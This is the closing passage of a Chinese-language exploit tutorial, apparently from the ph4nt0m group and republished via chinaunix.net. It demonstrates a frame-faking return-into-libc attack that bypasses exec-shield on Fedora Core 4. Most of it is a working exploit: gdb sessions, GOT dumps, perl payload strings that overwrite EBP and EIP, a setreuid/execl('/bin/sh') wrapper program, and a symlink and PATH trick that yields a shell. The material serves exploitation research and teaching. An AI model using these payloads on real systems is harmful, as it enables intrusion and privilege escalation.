(gdb) x/i 0x005eed20
0x5eed20 <__libc_start_main>: push %ebp
(gdb) x/i 0x00643fc0 ======》strcpy的入口地址
0x643fc0 <strcpy>: push %ebp
(gdb) c
Continuing.
Breakpoint 5, 0x0060f3df in system () from /lib/libc.so.6
(gdb) x/8x 0x080495d8 ======》执行system之前,GOT中已经有system的入口地址了
0x80495d8 <_GLOBAL_OFFSET_TABLE_>: 0x0804950c 0x005d36d0 0x005cad20 0x0060f3df
0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>: 0x08048306 0x005eed20 0x08048326 0x00643fc0
(gdb) x/i 0x0060f3df
0x60f3df <system>: push %edi
(gdb) c
Continuing.
Detaching after fork from child process 31014.
sh: BBBB: command not found
AAAA
Program exited normally.
(gdb)
通过上面的调试,可以看到system在GOT中的入口地址是在0x080495e4
如果我们用frame faking,那么就应该把fake EBP addr指定到0x080495e0,这样,新的EBP内容就是0x005cad20(这个不重要),新的EIP的内容就变成了我们想要的system的入口地址
也就是0x0060f3df
根据return into libc的方法,调用system的payload应该是
++++++++++++++++++++++++++++++++++++++++++++++++++++++++
| dummy | system addr| 4 bytes dummy | addr of command |
++++++++++++++++++++++++++++++++++++++++++++++++++++++++
也就是说,system入口地址后需要有4字节的填充数据,然后是跟着的地址,将指向system要执行的命令
我们再调试看看,这次用上我们的payload
根据调试得到,256字节覆盖buffer,再4字节覆盖EBP,再4字节覆盖EIP
覆盖buffer的字节数可能根据系统不同,因为dummy不同,并不是简单的看一眼反汇编代码能得到
我们用frame faking技术
其中leave的地址是0x08048445
而根据上面的分析,我们应该把fake ebp addr返回到0x080495e0
(gdb) r "`perl -e 'print "A"x256,"\xe0\x95\x04\x08","\x45\x84\x04\x08"'`"
Starting program: /home/axis/explab/bof2 "`perl -e 'print "A"x256,"\xe0\x95\x04\x08","\x45\x84\x04\x08"'`"
(no debugging symbols found)
(no debugging symbols found)
Breakpoint 4, 0x00643fc4 in strcpy () from /lib/libc.so.6
(gdb) x/8x 0x080495d8
0x80495d8 <_GLOBAL_OFFSET_TABLE_>: 0x0804950c 0x005d36d0 0x005cad20 0x080482f6
0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>: 0x08048306 0x005eed20 0x08048326 0x00643fc0
(gdb) c
Continuing.
Breakpoint 5, 0x0060f3df in system () from /lib/libc.so.6
(gdb) x/8x 0x080495d8 ======》执行到system了
0x80495d8 <_GLOBAL_OFFSET_TABLE_>: 0x0804950c 0x005d36d0 0x005cad20 0x0060f3df
0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>: 0x08048306 0x005eed20 0x08048326 0x00643fc0
(gdb) i reg
eax 0xbf9a6ed8 -1080398120
ecx 0xbf9a6fe0 -1080397856
edx 0xbf9a7bbf -1080394817
ebx 0x6ffff4 7340020
esp 0xbf9a6eac 0xbf9a6eac
ebp 0xbf9a6fd8 0xbf9a6fd8
esi 0x5d2ca0 6106272
edi 0x8048448 134513736
eip 0x60f3df 0x60f3df
eflags 0x246 582
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) c
Continuing.
Detaching after fork from child process 31167.
sh: BBBB: command not found ======》程序中的system正确执行了
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA郋
Breakpoint 5, 0x0060f3df in system () from /lib/libc.so.6 ======》但执行后,因为我们改变了程序流程,所以又回到system执行了
(gdb) bt
#0 0x0060f3df in system () from /lib/libc.so.6
#1 0x00630ee0 in _L_mutex_unlock_528 () from /lib/libc.so.6
#2 0x005eed20 in _dl_start () from /lib/libc.so.6
Previous frame inner to this frame (corrupt stack?)
(gdb) x/8x 0x080495d8
0x80495d8 <_GLOBAL_OFFSET_TABLE_>: 0x0804950c 0x005d36d0 0x005cad20 0x0060f3df
0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>: 0x00630ee0 0x005eed20 0x08048326 0x00643fc0
(gdb) i reg
eax 0x0 0
ecx 0x109 265
edx 0x7017a8 7346088
ebx 0x6ffff4 7340020
esp 0x80495e8 0x80495e8
ebp 0x5cad20 0x5cad20
esi 0x5d2ca0 6106272
edi 0x8048448 134513736
eip 0x60f3df 0x60f3df
eflags 0x286 646
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) c
Continuing.
Detaching after fork from child process 31172.
sh: U夊WVS冹L?���伱: command not found ======》看,再次执行了system
h
Program received signal SIGSEGV, Segmentation fault.
0x005eed81 in __libc_start_main () from /lib/libc.so.6
(gdb)
程序流程按照我们的构想改变了,system执行了两次,第一次是程序本身包含的,第二次是我们精心构造让它执行的
那么它到底执行了什么呢?
sh: U夊WVS冹L?���伱: command not found
一堆乱码
其实很好理解
(gdb) x/8x 0x080495d8
0x80495d8 <_GLOBAL_OFFSET_TABLE_>: 0x0804950c 0x005d36d0 0x005cad20 0x0060f3df
0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>: 0x00630ee0 0x005eed20 0x08048326 0x00643fc0
注意看这里
system在0x080495e4,那么接下来的4 byte作为填充的垃圾数据
那么它实际执行的就是 0x005eed20的内容
我们再看看
(gdb) r "`perl -e 'print "A"x256,"\xe0\x95\x04\x08","\x45\x84\x04\x08"'`"
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/axis/explab/bof2 "`perl -e 'print "A"x256,"\xe0\x95\x04\x08","\x45\x84\x04\x08"'`"
(no debugging symbols found)
(no debugging symbols found)
Breakpoint 4, 0x00643fc4 in strcpy () from /lib/libc.so.6
(gdb) c
Continuing.
Breakpoint 5, 0x0060f3df in system () from /lib/libc.so.6
(gdb) c
Continuing.
Detaching after fork from child process 31218.
sh: BBBB: command not found
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA郋
Breakpoint 5, 0x0060f3df in system () from /lib/libc.so.6
(gdb) x/8x 0x080495d8
0x80495d8 <_GLOBAL_OFFSET_TABLE_>: 0x0804950c 0x005d36d0 0x005cad20 0x0060f3df
0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>: 0x00630ee0 0x005eed20 0x08048326 0x00643fc0
(gdb) x/s 0x005eed20 ========》第二次system执行的是这个地址的内容
0x5eed20 <__libc_start_main>: "U\211錡VS\203霯?���\201闷\022\021"
(gdb) x/8x 0x005eed20
0x5eed20 <__libc_start_main>: 0x57e58955 0xec835356 0xff32e84c 0xc381ffff
0x5eed30 <__libc_start_main+16>: 0x001112c6 0x8b147d8b 0x838b1c4d 0xffffff48
(gdb)
也就是说,system是这样执行的
system(0x005eed20);
执行了0x005eed20指向的内容,一直到遇到一个0x00为止
也就是说以下面下滑线的数据为参数
0x5eed20 <__libc_start_main>: 0x57e58955 0xec835356 0xff32e84c 0xc381ffff
~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~
0x5eed30 <__libc_start_main+16>: 0x001112c6 0x8b147d8b 0x838b1c4d 0xffffff48
~~~~~~
还记得在方法二中我们是怎么让system执行Array的吗?
那么这里我们用同样的方法,让system执行这一堆乱码
[axis@axis explab]$ cat Array.c
#include<unistd.h>
int main(int argc,char *argv[]){
setreuid(geteuid(),geteuid());
setregid(getegid(),getegid());
execl("/bin/sh","sh",0);
return 0;
}
[axis@axis explab]$ gcc -o Array Array.c
[axis@axis explab]$
但这里不能再用Array做文件名了,而应该是那堆乱码。
我们可以简单的设置一个软连接
(gdb) x/8x 0x005eed20
0x5eed20 <__libc_start_main>: 0x57e58955 0xec835356 0xff32e84c 0xc381ffff
0x5eed30 <__libc_start_main+16>: 0x001112c6 0x8b147d8b 0x838b1c4d 0xffffff48
(gdb) shell
[axis@axis explab]$ ln -s /home/axis/explab/Array "`perl -e 'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x4c\xe8\x32\xff\xff\xff\x81\xc3\xc6\x12\x11"'`"
[axis@axis explab]$ ls
Array Array.c bof2 bof2.c U??WVS??L?2????闷??
[axis@axis explab]$
看,这堆乱码我们有了
再把当前目录导入PATH
[axis@axis explab]$ export PATH=:.PATH
[axis@axis explab]$
准备工作做好了,执行看看!
[axis@axis explab]$ ./bof2 "`perl -e 'print "A"x256,"\xe0\x95\x04\x08","\x45\x84\x04\x08"'`"
sh: BBBB: command not found
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA郋
sh-3.00$ id
uid=500(axis) gid=500(axis) groups=500(axis) context=user_u:system_r:unconfined_t
sh-3.00$ uname -a
Linux axis 2.6.11-1.1369_FC4 #1 Thu Jun 2 22:55:56 EDT 2005 i686 i686 i386 GNU/Linux
sh-3.00$ cat /etc/issue.net
Fedora Core release 4 (Stentz)
Kernel \r on an \m
sh-3.00$
和我们所猜想的一模一样,成功执行system,得到shell了
但是还是有system丢弃特权的问题,没有得到rootshell
---------[ 0x140 - Conclusion ]
以上几种方法中,都是在Redhat高版本平台上做的事情,都是默认安装,也就是execshield,SElinux,VA space randomize全开的情况。其中frame faking最为灵活。虽然因为system函数丢弃特权导致无法得到root,但我们可以利用些其他的函数。或者是直接以root权限做些什么事情。继续拓展就留给读者了。
在这里我们看到像glibc中提供的函数system等的地址,是不变的,但在高版本内核中,他们已经开始变化了!那么也就是说用return into libc的方法的难度大大提高,而且在Fedora Core 5中,据说PLT已经不再可写了,届时又会出现什么新的攻击手段,我们拭目以待.
最后,不得不说Red Hat的execshield是一个非常棒的东西,至少最近在公开的mail list里,已经看不到针对redhat平台的溢出exploit了.
Thanks ayazero,Seal,Envymask,and all guys from ph4nt0m!
Welcome to Ph4nt0m!
http://www.ph4nt0m.org
Welcome to SecWiki!
http://www.secwiki.com
---------[ 0x150 - Reference ]
《How to hijack the Global Offset Table with pointers for root shells》 By c0ntex
http://www.open-security.org/texts/6
《How to Exploit Overflow Vulnerability Under Fedora Core》 By Vangelis.
http://www.covertsystems.org/archives/How to exploit overflow vulnerability under Fedora Core 2.txt
《Solution To Red Hat PIE protection》 By Fr0z3n
http://www.covertsystems.org/archives/pie.txt
《UNIX下的缓冲区溢出深度防御体系》 By ayazero
http://overflow.nease.net/aya/inside_unix_defense.txt
《Function Stack Frame Manipulation》 By barros A.K.A Carlos Barros
http://gotfault.net/knowledge/module/0x300/0x300-MODULE.txt
exec-shield description:
http://people.redhat.com/mingo/exec-shield/ANNOUNCE-exec-shield (OLD)
http://www.redhat.com/f/pdf/rhel/WHP0006US_Execshield.pdf
description of security enhancements in RHEL/FC
http://people.redhat.com/drepper/nonselsec.pdf
-EOF-
摘自:chinaunix.net